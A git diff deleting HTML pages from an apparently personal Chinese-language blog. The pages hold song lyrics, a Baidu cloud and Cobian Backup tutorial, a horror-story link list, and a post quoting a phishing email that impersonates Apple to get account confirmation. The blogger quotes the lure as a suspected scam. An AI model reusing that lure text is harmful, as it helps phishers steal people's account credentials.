    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e4-be-9d-e7-a8-80-e5-ae-89-e9-9d-9c-e8-81-bd-e5-ae-8c-e9-80-99-e4-b8-80-e9-a6-96/index.html b/themes/public/article/e4-be-9d-e7-a8-80-e5-ae-89-e9-9d-9c-e8-81-bd-e5-ae-8c-e9-80-99-e4-b8-80-e9-a6-96/index.html deleted file mode 100644 index 69856dba..00000000 --- a/themes/public/article/e4-be-9d-e7-a8-80-e5-ae-89-e9-9d-9c-e8-81-bd-e5-ae-8c-e9-80-99-e4-b8-80-e9-a6-96/index.html +++ /dev/null @@ -1,442 +0,0 @@ - - - - - - - - - - 依稀-安靜聽完這一首 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    依稀-安靜聽完這一首

    -
    - - - 2013-07-29 - - - - - - - - - 其他 - - - - - -
    - - -

    他说过就算分手 也要做朋友 -他笑的时候光芒都将我刺透 -回想那甜蜜的温馨的每一刻 -流着泪也要你快乐 -祝福的话 我要怎么备注 -把想他的话 一句句变音符 -收拾好情绪 避免 渐渐麻木 -忘记他已经 有了归属 -要看开一点 微笑却没余地 -没有他在 学不会收拾那情绪 -是他不懂珍惜 还是我太任性 -时间会将 这一切治愈 -可我还是不习惯 没有他的温柔 -拿着相片情不自禁发呆 我想我还爱 -他说过就算分手 也要做朋友 -他笑的时候 光芒都将我刺透 -回想那甜蜜的 温馨的每一刻 -流着泪 也要你快乐 -他说过他会爱我 一直到永久 -他说了太多 分手要给我自由 -既然无法承受 也别再多找借口 -就安静 听完这一首 -要看开一点 微笑却没余地 -没有他在 学不会收拾那情绪 -是他不懂珍惜 还是我太任性 -时间会将 这一切治愈 -可我还是不习惯 没有他的温柔 -拿着相片情不自禁发呆 我想我还爱 -他说过就算分手 也要做朋友 -他笑的时候 光芒都将我刺透 -回想那甜蜜的 温馨的每一刻 -流着泪 也要你快乐 -他说过他会爱我 一直到永久 -他说了太多 分手要给我自由 -既然无法承受 也别再多找借口 -就安静 听完这一首 -他说过就算分手 也要做朋友 -他笑的时候 光芒都将我刺透 -回想那甜蜜的 温馨的每一刻 -流着泪 也要你快乐 -他说过他会爱我 一直到永久 -他说了太多 分手要给我自由 -既然无法承受 也别再多找借口 -就安静 听完这一首

    - -

    http://www.youtube.com/watch?v=ZXL1_oP4sCQ

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-80-8b-e4-ba-ba-e5-ae-b6-e5-ba-ad-e8-b3-87-e6-96-99-e5-82-99-e4-bb-bd-e5-88-b0-e7-99-be-e5-ba-a6-e9-9b-b2-e7-ab-af-e7-a9-ba-e9-96-93/index.html b/themes/public/article/e5-80-8b-e4-ba-ba-e5-ae-b6-e5-ba-ad-e8-b3-87-e6-96-99-e5-82-99-e4-bb-bd-e5-88-b0-e7-99-be-e5-ba-a6-e9-9b-b2-e7-ab-af-e7-a9-ba-e9-96-93/index.html deleted file mode 100644 index 75835896..00000000 --- a/themes/public/article/e5-80-8b-e4-ba-ba-e5-ae-b6-e5-ba-ad-e8-b3-87-e6-96-99-e5-82-99-e4-bb-bd-e5-88-b0-e7-99-be-e5-ba-a6-e9-9b-b2-e7-ab-af-e7-a9-ba-e9-96-93/index.html +++ /dev/null @@ -1,875 +0,0 @@ - - - - - - - - - - 個人/家庭 資料備份到百度雲端空間 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    個人/家庭 資料備份到百度雲端空間

    -
    - - - 2015-04-09 - - - - - - - - - 其他 - - - - - -
    - - -

    1.前言

    - -

    2.雲端空間介紹

    - -

    3.申請雲端空間(以百度雲為例)

    - -

    4.下載、安裝雲端同步軟體

    - -

    5.設置雲端同步軟體,自動上傳特定路徑內的檔案到雲端空間

    - -

    6.與備份軟體的結合,達成檔案壓縮加密後自動上傳

    - -

    7.資料分級、保密

    - -

    feathers : Sync to remote and delete local

    - -

     

    - -

    - -

    一、前言

    - -

    在3C產品越來越發達的現代,每天在不同裝置上產生的資料與日俱增,有的是網路下載來的影片、音樂,有的是手機、相機拍攝的照片、短片,這些資料平常散佈在各個裝置上,使用起來總是不那麼方便,而且因為儲存空間有限,但是欲望無窮,總是想要拍更多的照片,抓最新的影片,偷拍更多的短片….

    - -

    於是乎,有部份使用者就想到了把這些裝置上的資料都複製到平常使用的桌機/筆電上進行分類、整理、上傳,這個看似方便的動作,卻常常因為機器停電、硬碟故障、使用者誤刪等等原因,進而造成資料遺失的重大危機。如果只是一般不重要的資料倒也就罷了,萬一是學生的畢業論文資料、工作論文資料、料倒所需文件、又或者是小孩從小到大的紀錄,這些資料如果遺失了,那可真是損失慘重啊!透過專業廠商進行資料救援,所費不貲,動輒數千上萬,還不一定能夠救回所有資料!

    - -

    二、雲端空間介紹

    - -

    當然,有部份廠商嗅到這部份的商機,於是推出了「雲端空間」的服務,所謂的雲端空間,其實就是廠商提供了不定容量的儲存空間,讓使用者上傳、存放資料。由於大部分廠商的機房可靠度遠高於家庭內的環境,因此可以把這些雲端空間視為資料的備份倉庫,萬一本機的電腦因為種種原因造成資料遺失,就可以透過雲端空間把備份資料救回。包括了Amazon 的Cloud Drive、Google 的 Google Drive、微軟的 OneDrive 等等,這些廠商為了吸引用戶上門,多半都會提供免費的空間使用,像Cloud Drive 有免費5G,Google Drive 有免費 15G ,OneDrive也是15G,但是在普遍追求高解析影像的現在,對於儲存空間的需求是越來越大,於是,在中國大陸開始推出了以TB為單位的雲端空間,像是百度的百度雲(2T)、360雲盤更是號稱「無限容量」,滿足使用者對於空間的渴望。底下就簡單介紹如何透過百度雲的同步工具,將影像、照片、文件等等各種資料同步到百度雲空間上。

    - -

    然而,中國畢竟是中國,「詭異」的網路政策,總是讓人無法安心的將資料上傳在中國的伺服器上,如果對於資料安全有比較多的考量,建議還是改用「私有雲」的方式進行備份,不過這就跟本篇文章要介紹的作法不同了,而且也需要支出一筆額外的費用,這部份就看看以後有沒有機會再來介紹。

    - -

     

    - -

    申請雲端空間(以百度雲為例)

    - -

    百度雲 http://pan.baidu.com 提供了數種登入方式,也提供了外部帳號認證的機制(像是 QQ /微博/人人網),不過都不是台灣熟知的網站,所以建議還是直接申請帳號就好。

    - -

    首先開啟 百度雲首頁 http://pan.baidu.com,點選立即註冊百度帳號

    - -

    2015-04-07_16-12-19

    - -

     

    - -

     

    - -

    由於一般不會擁有大陸的手機號碼,所以建議用郵件帳號註冊,順道提一下,這邊的驗證碼還算「親民」的

    - -

    在大陸網站碰過驗證碼是簡體中文字…整個傻眼

    - -

    輸入郵件位址、密碼、驗證碼,確認勾選「我已閱讀並接受<百度用戶協議>」後,按下註冊按鈕

    - -

     

    - -

    2015-04-07_16-17-51

    - -

     

    - -

    接著就到郵箱去檢查是不是有收到帳號「激活」的信件

    - -

    信件中會有個「激活」的連結,可以直接點選來啟用帳號

    - -

     

    - -

    2015-04-07_16-18-41

    - -

     

    - -

    點選連結之後,還要經過一次手機簡訊的驗證手續(大陸很愛搞這套)

    - -

    輸入手機號碼點發送之後,過不久手機上就會收到帶有六位數驗證碼的簡訊

    - -

    填好驗證碼之後,按下提交,帳號註冊、啟動、驗證的步驟就完成了,會直接把頁面轉到百度雲的首頁

    - -

     

    - -

    2015-04-07_16-19-45

    - -

     

    - -

    首次進入百度雲首頁時,會有一些功能說明,有興趣可以慢慢欣賞。

    - -

     

    - -

    2015-04-07_16-20-13

    - -

     

    - -

    接著我們要下載百度雲同步的工具,要提醒一下,百度雲的工具軟體有兩種

    - -

    一個叫百度雲管家,一個叫百度雲同步盤

    - -

    這次要下載的是百度雲同步盤,在畫面上點擊 PC版下載

    - -

     

    - -

     

    - -

    2015-04-07_16-20-39

    - -

     

    - -

    點擊下載 Windows版

    - -

    2015-04-09_10-22-38

    - -

     

    - -

    下載完成後開始進行安裝

    - -

    順帶一提,不管安裝什麼軟體,請注意在進行安裝程序時,畫面上的提示,不要不管說啥都一路下一步…很容易被裝了一些有的沒的軟體

    - -

    這邊有兩個組件(plugin) ,一個是將 outlook 附件存到百度,一個是網頁上傳的功能,看個人需要決定要不要裝,我是兩個都取消後,再點選安裝

    - -

    2015-04-07_16-39-37

    - -

     

    - -

    設置雲端同步軟體,自動上傳特定路徑內的檔案到雲端空間

    - -

    安裝完成後,會開啟百度雲同步盤的程式

    - -

    要求輸入帳號密碼,就輸入剛剛申請過的帳號、密碼,如果不是多人使用同一台電腦的環境,又或者不怕別人看到雲端空間的內容的話

    - -

    這邊就把記住密碼勾選起來,按下登錄

    - -

    2015-04-07_16-40-02

    - -

     

    - -

    第一次進入,會要求選擇要同步的文件夾,第一次玩就用預設值吧,如果不滿意,在程式的設定裡也可以進行修改,接著按下確定

    - -

    2015-04-07_16-40-16

    - -

     

    - -

    這邊直接按確定就好(我也不知道問這個問題是幹嘛用的 )

    - -

    2015-04-07_16-40-35

    - -

     

    - -

    接下來會出現 新手村教學 引導說明

    - -

    這邊 打怪不會有經驗值,更不會掉寶物 ,直接跳過吧…

    - -

     

    - -

    2015-04-07_16-40-43

    - -

     

    - -

    真囉唆…當然是確定退出!

    - -

     

    - -

    2015-04-07_16-40-50

    - -

     

    - -

    接著程式會打開百度雲同步盤的目錄,我先隨手複製一個檔案進去

    - -

     

    - -

    2015-04-07_16-42-10

    - -

     

    - -

    接著切換到剛剛瀏覽器的畫面,就會看到剛剛拉進同步盤的檔案,在瀏覽器上也看到了!(實際上需要一點時間,看個人的網路速度而定,中華電信雙向100M跑上下傳都還滿順的)

    - -

    畫面左下方有個免費領取 2048G 容量的連結,點進去之後,會提示你如果在手機等等行動裝置上,也下載百度雲的同步工具

    - -

    就可以免費增加 2T的空間,這部份不領白不領,就花點時間去依照說明操作吧,這邊就先不說明了

    - -

     

    - -

    2015-04-07_16-44-31

    - -

     

    - -

    進行到這邊,已經把基本的帳號申請、啟用、驗證,以及安裝同步工具、測試同步檔案的部份完成,接下來將說明透過備份軟體,把檔案加密壓縮後丟到雲端空間的操作

    - -
    - -

    與備份軟體的結合,達成檔案壓縮加密後自動上傳

    - -

     

    - -

    網路上可以找到的備份軟體實在太多了!這邊僅介紹自己使用上比較順手的 Cobian Backup

    - -

    http://www.cobiansoft.com/

    - -

     

    - -

    一開始當然還是從網頁上把檔案下載回來,開始進行安裝

    - -

     

    - -

    2015-04-07_17-17-39

    - -

     

    - -

     

    - -

    授權說明,沒問題就勾選 「 I accept the conditions」,有問題就 Exit 吧(廢話…

    - -

    2015-04-07_17-17-49

    - -

     

    - -

    選擇安裝路徑,這邊不太需要去更改,下面的選項,請特別留意第三個 Install the Volume Shadow Copy requester

    - -

    Volume Shadow Copy 中文叫陰影複製? 簡單說就是會針對現在的硬碟資料作一份快照,然後備份軟體將這份快照掛載到軟體內

    - -

    再從這個掛載進來的磁區進行資料備份,這樣可以避免備份工作進行時,有些檔案因為已經被開啟,造成無法進行備份的狀況

    - -

    詳細資料可以問問 google

    - -

    https://www.google.com.tw/search?q=volume+shadow+copy&ie=utf-8&oe=utf-8&gws_rd=cr&ei=EHUnVbK7CczX8gWFiYHADA

    - -

    2015-04-07_17-18-07

    - -

     

    - -

    安裝的類型,我選擇以服務形式進行安裝,如果選這個,底下會詢問要用什麼帳號進行安裝

    - -

    Windows 系統預設會有一個本機系統帳戶,可以管理這些服務,那為什麼還要用其他帳號進行安裝呢?

    - -

    這是因為如果備份的來源/目的假如是 NAS 的話,就會需要輸入帳號密碼來登入NAS,這時候如果選擇 local system account

    - -

    就會發生帳號密碼不對,進而無法存取的狀況

    - -

    雖然這次沒有要存取 NAS ,不過還是習慣改成自己的帳號密碼了..

    - -

    接著按下 Next

    - -

    2015-04-07_17-18-15

    - -

     

    - -

    如果選擇用本機系統帳號,就會提示可能發生的問題

    - -

    2015-04-07_17-19-08

    - -

     

    - -

     

    - -

    設定完成,可以開始進行安裝了

    - -

    2015-04-07_17-19-18

    - -

     

    - -

    安裝過程都會在視窗上顯示訊息,中間會暫停個幾秒鐘安裝、啟動服務

    - -

    2015-04-07_17-19-33

    - -

     

    - -

    裝完了!

    - -

    2015-04-07_17-19-58

    - -

     

    - -

     

    - -

    安裝完成後,進入主畫面,先來修改語言設定,Cobian Backup 預設內建多國語言,所以有繁體中文可以選

    - -

     

    - -

    2015-04-07_17-20-41

    - -

     

    - -

    先來新增一個備份工作

    - -

    2015-04-07_17-21-17

    - -

     

    - -

    首先會進入一般選項,這裡要注意備份類型,簡單解釋如下

    - -

     

    - -

    完整備份: 美一次進行備份工作時,來源目錄內有哪些檔案、目錄,通通備份起來

    - -

    增量備份:備份上次備份後,新增、修改過的檔案

    - -

    差異備份:備份上次完整備份後,新增、修改過的檔案

    - -

    虛擬備份: Dry Run 只是試跑,不會真正進行備份

    - -

    增量備份和差異備份的差異,可以問問 google  http://is.gd/POPGql

    - -

    一開始可能不太好理解,不過就這次操作的目的而言,增量、差異備份對我們來說沒差

    - -

    基於個人習慣,我還是選擇差異備份,同時檢查上面的五個選項是否都有勾選

    - -

    ok之後,點畫面左邊的檔案設定來源和目的地

    - -

     

    - -

    2015-04-10_15-11-25

    - -

     

    - -

    上面是來源目錄,下面是目的地目錄,我們可以直接按新增去選擇

    - -

    這邊的來源我選擇我的文件夾裡面的圖片目錄,目的則是前面安裝完的百度雲同步盤目錄

    - -

    2015-04-07_17-22-35

    - -

     

    - -

    選擇目的地目錄的視窗

    - -

    2015-04-07_17-22-20

    - -

     

    - -

     

    - -

    來源、目的設定完成後,就切換到設定排程視窗,這邊設定每天晚上的 11:59:59 自動進行備份,當然可以依照個人需求去進行調整

    - -

    如果排程類型選擇定時,底下的間隔選擇 1分鐘,那就是每一分鐘都會進行一次備份工作,不過我想應該不會有這麼迫切進行備份的需求吧…

    - -

     

    - -

    2015-04-07_17-23-29

    - -

     

    - -

    再來是動態設定,這邊可以設定備份工作執行時,在系統上的優先順序

    - -

    還有要保留幾份備份資料,不過我們這次的目的,不需要保留多份備份,所以都不修改

    - -

    2015-04-10_15-24-57

    - -

     

    - -

    再來是設定「封存」條件

    - -

    這邊其實就是設定在備份時,會先把來源目錄壓縮、加上密碼保護

    - -

    2015-04-10_15-26-41

    - -

    前面提過,因為這次選擇的雲端空間是中國的百度雲,如果對於資料有安全上的疑慮

    - -

    那就可以在這邊選擇壓縮、加密

    - -

    當然,在數學的角度來說,加密一定可以破,要花多久時間而已

    - -

    建議是用英文大小寫、數字、符號當作密碼,增加破解密碼的難度

    - -

    如果實在想不出來,這邊建議可以考慮找一個字串,然後在記事本中,不要切換輸入法,但是用自己常用的輸入法把這個字串打出來,用這個按鍵組合作為密碼

    - -

    舉例來說,我常用注音,那我想用中華民國的注音輸入按鍵組合作為密碼

    - -

    那我就開個記事本,在記事本中,英數輸入法狀態下,盲打「中華民國」的注音,就會得到圖中的結果,就用這串文字當作密碼

    - -

    以後要輸入密碼時,就在英數輸入法的狀態下,打出中華民國的注音按鍵就可以

    - -

    2015-04-10_15-32-03

    - -

     

    - -

    接著是過濾條件,這邊可以設定只要備份哪些類型的條件、要排除哪些類型的條件不要備份

    - -

    同樣的,這次我們是要全部備份,所以也不需要另外進行設定

    - -

    2015-04-10_15-34-57

    - -

     

    - -

    「事件」屬性

    - -

    這邊是設定在備份工作開始前、結束後,要不要進行其他的工作,一般也不需要設定

    - -

     

    - -

    2015-04-10_15-36-44

    - -

     

    - -

    終於到最後的「進階」屬性了

    - -

    這邊只需要確認清除存檔屬性、包含備份類型這兩個選項有勾選就好,ok之後,按下確定,回到Cobian Backup 主畫面

    - -

    2015-04-10_15-37-58

    - -

     

    - -

    回到主畫面後,在剛剛設定的工作上按右鍵,選擇執行已選取的工作,就會開始進行備份

    - -

    2015-04-10_15-39-32

    - -

     

    - -

     

    - -

    這是我的來源路徑裡面的檔案,預設我只放了一個圖片1.jpg的圖檔在裡面

    - -

    2015-04-08_09-01-08

    - -

     

    - -

    第一次備份完成後,在百度雲同步盤的目錄中,可以看到多了一個壓縮檔

    - -

     

    - -

    2015-04-08_09-01-52

    - -

     

    - -

    這個壓縮檔的內容,就是剛剛看到的圖片 1.jpg

    - -

    2015-04-10_15-42-34

    - -

     

    - -

    接著我放了一個檔案大小比較大的檔案進去,取名叫圖片2.jpg

    - -

    2015-04-08_09-02-43

    - -

     

    - -

    然後再次手動執行備份工作

    - -

    執行完成後,點開第二次備份建立的壓縮檔案,會發現檔案只有一個圖片2.jpg

    - -

    Why ??

    - -

    前面說過,差異備份只會進行從上一次的完整備份之後,進行新增/修改的檔案

    - -

    從上次備份之後,我只新增了這個檔案,所以當然只備份這個

    - -

    2015-04-10_15-44-23

    - -

     

    - -

    同時,在瀏覽器中,開啟百度雲網盤的頁面,也可以看到這些檔案

    - -

     

    - -

    2015-04-10_15-47-03

    - -

     

    - -

    到這邊,資料自動備份、上傳雲端的設定就已經全部完成

    - -

    以後只要把數位相機、手機上的照片先複製到「我的文件夾」底下的「圖片」目錄

    - -

    先進行重新命名、排序、美容(!?)等等步驟後,只要等到晚上 11:59:59

    - -

    Cobian Backup 就會自動將這些檔案同步到雲端去了!

    - -

    只要經過備份,那麼一份資料同時間就會有原本的裝置、本機硬碟、還有雲端空間三份存在

    - -

    就不用再擔心在裝置上誤刪檔案,或者本機硬碟壞掉引起的檔案遺失了!

    - -

    硬碟壞了,換掉就好。

    - -

    照片沒了,總沒辦法重新再照一次吧!

    - -

    希望這篇po文能幫到各位!

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-85-b6-e4-bb-96-e5-81-87-e5-86-92-apple-e7-9a-84-e8-a9-90-e9-a8-99-e4-bf-a1-e4-bb-b6/index.html b/themes/public/article/e5-85-b6-e4-bb-96-e5-81-87-e5-86-92-apple-e7-9a-84-e8-a9-90-e9-a8-99-e4-bf-a1-e4-bb-b6/index.html deleted file mode 100644 index 30332140..00000000 --- a/themes/public/article/e5-85-b6-e4-bb-96-e5-81-87-e5-86-92-apple-e7-9a-84-e8-a9-90-e9-a8-99-e4-bf-a1-e4-bb-b6/index.html +++ /dev/null @@ -1,473 +0,0 @@ - - - - - - - - - - [其他] 假冒 Apple 的詐騙信件 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [其他] 假冒 Apple 的詐騙信件

    -
    - - - 2013-10-07 - - - - - - - - - 其他 - - - - - -
    - - -

    今天早上收到的,而且還真的是我的apple ID的信箱?

    - -

    是真的APPLE被駭了?還是手機的APP有問題??

    - -

      - - - - - - - - - - - - -
    -
    -

    -
    -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    Dear Apple Customer,
    -
    To g! et back into your apple account, you’ll need to confirm your account . It’s easy: Click the button below to open a secure browser window. Confirm that you’re the owner of the account and then follow the instructions.
    -
    Before log in your account will be Confirmed, let us know right away.
    -

    - -
      -
    • Reporting it is important because it helps us prevent fraudsters from stealing your information. Yours s! incerely, apple . -
    -
    Thanks,
    -
    The Apple Team
    -
    Please do not reply to this email. It was sent from an email address that cannot accept incoming messages.
    - - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-85-b6-e4-bb-96-e6-b2-92-e6-83-b3-e5-88-b0-e6-88-91-e7-9a-84-e7-b6-b2-e9-a0-81-e5-9c-a8google-e6-8e-92-e5-90-8d-e9-80-99-e9-ba-bc-e9-ab-98-ef-bc-9f/index.html b/themes/public/article/e5-85-b6-e4-bb-96-e6-b2-92-e6-83-b3-e5-88-b0-e6-88-91-e7-9a-84-e7-b6-b2-e9-a0-81-e5-9c-a8google-e6-8e-92-e5-90-8d-e9-80-99-e9-ba-bc-e9-ab-98-ef-bc-9f/index.html deleted file mode 100644 index 9533683e..00000000 --- a/themes/public/article/e5-85-b6-e4-bb-96-e6-b2-92-e6-83-b3-e5-88-b0-e6-88-91-e7-9a-84-e7-b6-b2-e9-a0-81-e5-9c-a8google-e6-8e-92-e5-90-8d-e9-80-99-e9-ba-bc-e9-ab-98-ef-bc-9f/index.html +++ /dev/null @@ -1,409 +0,0 @@ - - - - - - - - - - [其他]沒想到我的網頁在GOOGLE排名這麼高? | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [其他]沒想到我的網頁在GOOGLE排名這麼高?

    -
    - - - 2013-07-05 - - - - - - - - - BLOG - - - - - -
    - - -

    早上意外收到群暉的客服主管來信,大意是說之前PO了一篇對群暉客服的碎碎念

    - -

    結果在GOOGLE搜尋時,因為排名比較前面,不小心被這位主管看到了,所以來信致意一下這樣。

    - -

    我就很好奇,隨手去搜尋了一下「群暉 客服」,結果跑出來的結果排第四,小輸官網、104、還有M01  Big Boss

    - -

    google-search-synology-no-4

    - -

     

    - -

     

    - -

    該說wordpress的SEO作太好了嗎? Big Smile

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e5-85-b6-e5-ae-83-e5-9c-a8marvel-e7-9c-8b-e9-81-8e-e6-9c-80-e6-81-90-e6-80-96-e7-9a-84-e7-b6-93-e9-a9-97-e6-95-85-e4-ba-8b-e8-a3-9c-e9-80-a3-e7-b5-90-e6-95-b4-e7-90-86/index.html b/themes/public/article/e5-85-b6-e5-ae-83-e5-9c-a8marvel-e7-9c-8b-e9-81-8e-e6-9c-80-e6-81-90-e6-80-96-e7-9a-84-e7-b6-93-e9-a9-97-e6-95-85-e4-ba-8b-e8-a3-9c-e9-80-a3-e7-b5-90-e6-95-b4-e7-90-86/index.html deleted file mode 100644 index 97895755..00000000 --- a/themes/public/article/e5-85-b6-e5-ae-83-e5-9c-a8marvel-e7-9c-8b-e9-81-8e-e6-9c-80-e6-81-90-e6-80-96-e7-9a-84-e7-b6-93-e9-a9-97-e6-95-85-e4-ba-8b-e8-a3-9c-e9-80-a3-e7-b5-90-e6-95-b4-e7-90-86/index.html +++ /dev/null @@ -1,851 +0,0 @@ - - - - - - - - - - [其它] 在marvel看過最恐怖的經驗/故事(補連結+整理) | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [其它] 在marvel看過最恐怖的經驗/故事(補連結+整理)

    -
    - - - 2015-12-22 - - - - - - - - - 未分類 - - - - - -
    - - -

    作者unicrysfish (獨晶魚) 看板marvel

    - -

    標題Re[其它] 在marvel看過最恐怖的經驗/故事(補連結+整理)

    - -

    時間Tue Dec 8 00:47:23 2015

    - -

    大家好我是原po

    - -

    轉眼間已經過一年了

    - -

    很開心剛剛看到板上有人整理2014跟2015的推薦文^^

    - -

    我這篇算是舊文的總整理

    - -

    有興趣也可以參考看看 -

    - -

    當初心血來潮整理的經典好文中間經過連結失效的慘劇

    - -

    剛剛已全數更換成google短網址

    - -

    手更新到發抖XD

    - -

    供舊朋友想回味

    - -

    新朋友想一窺好文作參考^^

    - -

    想要投票的也可以繼續投

    - -

    有空時會補上

    - -

    有段時間沒來看板了不太熟悉現在的板規

    - -

    這篇沒有M點

    - -

    希望不會被刪文XD

    - -

    網頁板

    - -

    https://www.ptt.cc/bbs/marvel/M.1415526249.A.F3C.html

    - -

    ※ 引述《unicrysfish》之銘言:

    - -

    作者unicrysfish (獨晶魚) 看板marvel

    - -

    標題[其它] 在marvel看過最恐怖的經驗/故事

    - -

    時間Sun Nov 9 17:44:06 2014

    - -

    最近在複習幾篇經典文

    - -

    看得超毛但又很過癮

    - -

    想問大家覺得本版最恐怖的是哪一篇?

    - -

    翻譯創作的也可以討論

    - -

    感謝啦^^

    - -

    ps我覺得很毛的:

    - -

    (4票)二技時的經驗(紙人)https://goo.gl/MJDgme

    - -

    (34票)美山路異聞錄(高雄)(全集)https://goo.gl/1QJC81

    - -

    (5票)陶瓷娃娃https://goo.gl/ss0PIH

    - -

    尹清楓怪遇記事

    - -

    https://goo.gl/9im8r8

    - -

    https://goo.gl/SLZDmW

    - -

    鬼娶親(推文有附吳君如電影片段超有畫面)

    - -

    https://goo.gl/EOeAUz

    - -

    吳君如電影片段 https://goo.gl/JcuN5R

    - -

    (不敢點膽大的板友跟我分享吧)

    - -

    (8票)國中時的靈驗照片(有圖囉)

    - -

    https://goo.gl/sJC5PH

    - -

    圖在這篇

    - -

    https://goo.gl/cEp1ro

    - -

    (2票)五樓那間套房(真人真事推文也很精彩)

    - -

    https://goo.gl/2DI3AG

    - -

    https://goo.gl/83dtfV

    - -

    (5票)2007 in the usa(六部分)

    - -

    https://goo.gl/CiMi6e

    - -

    https://goo.gl/V6cST7

    - -

    https://goo.gl/Ky2U9O

    - -

    https://goo.gl/w0iykC

    - -

    https://goo.gl/OjN23A

    - -

    https://goo.gl/XeOoeG

    - -

    一點點恐怖

    - -

    https://goo.gl/pySZEs

    - -

    https://goo.gl/gqYHBn

    - -

    還有一篇在電梯前面跪著的學姐(忘記篇名)

    - -

    謝謝Z大補充:地下室的女人

    - -

    https://goo.gl/iETQbc

    - -

    這幾篇在這個連結都有

    - -

    http://goo.gl/AWIURg

    - -

    (5票)ps想問大家有沒有看過一個卡通叫學校有鬼-花子來了嗎?

    - -

    小時候看都超害怕的到現在有幾集都記得超清楚

    - -

    像是搭公車發現公車上的人都是死人

    - -

    紅色書包有鬼跑出來要吃掉小女孩

    - -

    那時候造成好大的陰影喔

    - -

    我找到日文的影片

    - -

    http://goo.gl/gNAjBL

    - -

    我沒膽(遮臉)敢看的跟我分享

    - -

    私心想推我當道士這些年這部小說^^

    - -
    - -

    板友補充:

    - -

    (4票)我們的鄰居 https://goo.gl/IeME3A

    - -

    (10票)我的幾個小經驗3.在紐西蘭發生的事情

    - -

    https://goo.gl/ZZZ2Oz

    - -

    活著的人偶  https://goo.gl/U3K0YI

    - -

    隔壁的女人  https://goo.gl/hIfNcS

    - -

    (殘穢)畢業旅行  https://goo.gl/RuwKZd

    - -

    (3票)取子箱  https://goo.gl/wldztk

    - -

    https://goo.gl/7xu9ce

    - -

    https://goo.gl/ba3ilJ

    - -

    https://goo.gl/4gB96v

    - -

    https://goo.gl/TN4Mxd

    - -

    https://goo.gl/IHNDvv

    - -

    考據  https://goo.gl/yN1cmK

    - -

    外傳(印證)https://goo.gl/rr2uvp

    - -

    渡假地打工  http://goo.gl/nklVBl

    - -

    Mshow俱樂部 https://goo.gl/YqqiG7

    - -

    G縣廚

    - -

    http://goo.gl/b3MNA0

    - -

    雨天的怪人

    - -

    https://goo.gl/i2ay8w

    - -

    https://goo.gl/D21jY8

    - -

    https://goo.gl/sm3Lce

    - -

    https://goo.gl/A1Y1DG

    - -

    (2票)沒有鬼的故事(大推)

    - -

    https://goo.gl/B3RvCe

    - -

    (5票)強者我朋友系列

    - -

    https://goo.gl/NAQcn4

    - -

    https://goo.gl/jKalHt

    - -

    https://goo.gl/mH1wEQ

    - -

    https://goo.gl/m443Gf

    - -

    https://goo.gl/HBsS1W

    - -

    山中謎霧

    - -

    https://goo.gl/49YWsQ

    - -

    (3票)夜晚的估價

    - -

    https://goo.gl/cVSbxN

    - -

    你發現了嗎?

    - -

    https://goo.gl/2oECYH

    - -

    (2票)晚上曬衣服

    - -

    https://goo.gl/QXdtjS

    - -

    (7票)八尺大人

    - -

    https://goo.gl/lpOAOV

    - -

    https://goo.gl/HQkuMW

    - -

    (2票)嘉明湖

    - -

    https://goo.gl/z5051m

    - -

    (2票 )土城青草山系列

    - -

    https://goo.gl/0CVIbM

    - -

    (4票)事故物件

    - -

    https://goo.gl/BLyDzg

    - -

    https://goo.gl/bDuSNQ

    - -

    https://goo.gl/CdvmIO

    - -

    斯德哥爾摩街命案

    - -

    https://goo.gl/g7sOue

    - -

    他的呢喃

    - -

    https://goo.gl/ba9Vwi

    - -

    https://goo.gl/FPHqan

    - -

    (9票)辦公室怪談

    - -

    https://goo.gl/zCf2iy

    - -

    https://goo.gl/V0uY9B

    - -

    (2票)大園空難預知錄

    - -

    https://goo.gl/g6SrOK

    - -

    (3票)房號733

    - -

    https://goo.gl/c8qvdc

    - -
    - -

    恐懼罐頭系列(這很多篇大家就自己蒐關鍵字了^^)

    - -

    (3票)想請問一個軍中鬼故事

    - -

    https://goo.gl/QCvGpN

    - -

    重慶紅衣男孩(這篇我覺得要搭配dark angel 一起看雖說沒有人能證明確實有關)

    - -

    http://goo.gl/2hN3Ak

    - -

    https://goo.gl/XDvcBq

    - -

    (2票)檳榔園的阿婆

    - -

